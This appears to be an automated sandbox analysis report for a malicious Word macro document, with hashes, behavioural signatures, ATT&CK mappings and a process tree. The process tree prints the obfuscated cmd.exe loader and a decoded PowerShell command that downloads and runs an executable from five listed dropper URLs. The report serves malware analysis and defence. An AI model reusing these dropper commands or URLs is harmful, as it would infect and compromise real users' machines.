98cca1bc8846fe485779bd685512aa6276623937dc0da0eef4ac8921dc8a0d5e

Analysis

max time kernel
149s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
01/06/2024, 11:27

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General

Target

8a54539a4251fc17f2fbc7654d764f69_JaffaCakes118.doc
Size

92KB
MD5

8a54539a4251fc17f2fbc7654d764f69
SHA1

f13e23f1cf0c3672cf2718ef2bcb46bae95d0326
SHA256

98cca1bc8846fe485779bd685512aa6276623937dc0da0eef4ac8921dc8a0d5e
SHA512

1815388e3c53a3a2ebce873cba57dfd6fc430a7214982e4e39e07218d77f4cc88af7f8b91379bb53b342784378edb58cec31563fcee1a4269a68c06661be251d
SSDEEP

1536:dTxjwKZ09cB7y9ghN8+mQ90MTr+a9YHB8iNi5Lvx91:txjnB29gb8onYmiN2

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://rapidc.co.nz/mv

exe.dropper

http://www.hasekimuhendislik.com/Jd1V

exe.dropper

http://parisel.pl/JoOxUSZz

exe.dropper

http://imegica.com/xHG91B

exe.dropper

http://jdca.in/cu8shkw

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3744	1228	cmd.exe	81

Blocklisted process makes network request 6 IoCs

flow	pid	Process
30	2452	powershell.exe
31	2452	powershell.exe
33	2452	powershell.exe
34	2452	powershell.exe
37	2452	powershell.exe
41	2452	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
2452	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1228	WINWORD.EXE
1228	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2452	powershell.exe
2452	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2452	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1228	WINWORD.EXE
1228	WINWORD.EXE
1228	WINWORD.EXE
1228	WINWORD.EXE
1228	WINWORD.EXE
1228	WINWORD.EXE
1228	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1228 wrote to memory of 3744	1228	WINWORD.EXE	86
PID 1228 wrote to memory of 3744	1228	WINWORD.EXE	86
PID 3744 wrote to memory of 2452	3744	cmd.exe	91
PID 3744 wrote to memory of 2452	3744	cmd.exe	91

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8a54539a4251fc17f2fbc7654d764f69_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1228
- C:\Windows\SYSTEM32\cmd.exe
  cmd /V:/C"set IBr=XjMwiWBKhriXwVBMdbFYPPEJOUiOrkzZQPZa=u/2SD)oex,8vtpf-'Hn\.l:6{G@m;( 9c1syN+$C}g&&for %j in (50;43;12;44;28;71;8;44;58;58;67;75;30;23;30;36;55;44;12;52;43;17;1;44;69;49;67;73;44;49;57;5;44;17;76;58;26;44;55;49;65;75;51;13;30;36;53;8;49;49;50;59;38;38;28;35;50;26;16;69;57;69;43;57;55;30;38;64;48;63;8;49;49;50;59;38;38;12;12;12;57;8;35;71;44;29;26;64;37;8;44;55;16;26;71;58;26;29;57;69;43;64;38;23;16;70;13;63;8;49;49;50;59;38;38;50;35;28;26;71;44;58;57;50;58;38;23;43;27;45;25;40;34;30;63;8;49;49;50;59;38;38;26;64;44;78;26;69;35;57;69;43;64;38;45;54;62;68;70;14;63;8;49;49;50;59;38;38;1;16;69;35;57;26;55;38;69;37;47;71;8;29;12;53;57;40;50;58;26;49;66;53;63;53;42;65;75;25;14;40;67;36;67;53;68;39;60;53;65;75;27;26;55;36;75;44;55;48;59;49;44;64;50;74;53;56;53;74;75;25;14;40;74;53;57;44;45;44;53;65;51;43;28;44;35;69;8;66;75;33;55;64;67;26;55;67;75;51;13;30;42;61;49;28;72;61;75;30;23;30;57;41;43;12;55;58;43;35;16;18;26;58;44;66;75;33;55;64;46;67;75;27;26;55;42;65;40;49;35;28;49;52;33;28;43;69;44;71;71;67;75;27;26;55;65;17;28;44;35;29;65;77;69;35;49;69;8;61;77;77;67;67;67;67;67;67;67;67;67;67;67;67;67;67;67;67;67;89)do set b2nv=!b2nv!!IBr:~%j,1!&&if %j==89 call %b2nv:*b2nv!=%"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $zJz=new-object Net.WebClient;$fVz='http://rapidc.co.nz/mv@http://www.hasekimuhendislik.com/Jd1V@http://parisel.pl/JoOxUSZz@http://imegica.com/xHG91B@http://jdca.in/cu8shkw'.Split('@');$UBS = '926';$Oin=$env:temp+'\'+$UBS+'.exe';foreach($Pnm in $fVz){try{$zJz.DownloadFile($Pnm, $Oin);Start-Process $Oin;break;}catch{}}
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\926.exe

Filesize
64B

MD5
c95fbd1477f9da6186459df807c8aa1a

SHA1
d332e3c524652d23ed7786cb41ebf6b6a7ed5db1

SHA256
f942985b605bccd455aadb769cbade3c23104829553832bfd4553b398a31f4cc

SHA512
66ced9c99728140c866b6d58d7e34b469533bad097f75be3e051cad87b1a9bfd736ce01ae5ec5a3518dfd4c5908a7fc529504fe37b3544b27ddf3d15695c0a65

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD7D99.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lx3sykjj.oiq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1228-9-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-50-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-3-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp

Filesize
64KB

Download
memory/1228-6-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-7-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-8-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-10-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-11-0x00007FFF21B20000-0x00007FFF21B30000-memory.dmp

Filesize
64KB

Download
memory/1228-1-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp

Filesize
64KB

Download
memory/1228-12-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-13-0x00007FFF21B20000-0x00007FFF21B30000-memory.dmp

Filesize
64KB

Download
memory/1228-14-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-15-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-17-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-16-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-18-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-21-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-49-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-20-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-19-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-5-0x00007FFF63DAD000-0x00007FFF63DAE000-memory.dmp

Filesize
4KB

Download
memory/1228-43-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-22-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-53-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-52-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-51-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-54-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-41-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-592-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-2-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp

Filesize
64KB

Download
memory/1228-4-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp

Filesize
64KB

Download
memory/1228-86-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-0-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp

Filesize
64KB

Download
memory/1228-564-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-566-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-565-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-567-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-568-0x00007FFF63D10000-0x00007FFF63F05000-memory.dmp

Filesize
2.0MB

Download
memory/1228-588-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp

Filesize
64KB

Download
memory/1228-589-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp

Filesize
64KB

Download
memory/1228-590-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp

Filesize
64KB

Download
memory/1228-591-0x00007FFF23D90000-0x00007FFF23DA0000-memory.dmp

Filesize
64KB

Download
memory/2452-66-0x000001E01B3B0000-0x000001E01B3D2000-memory.dmp

Filesize
136KB

Download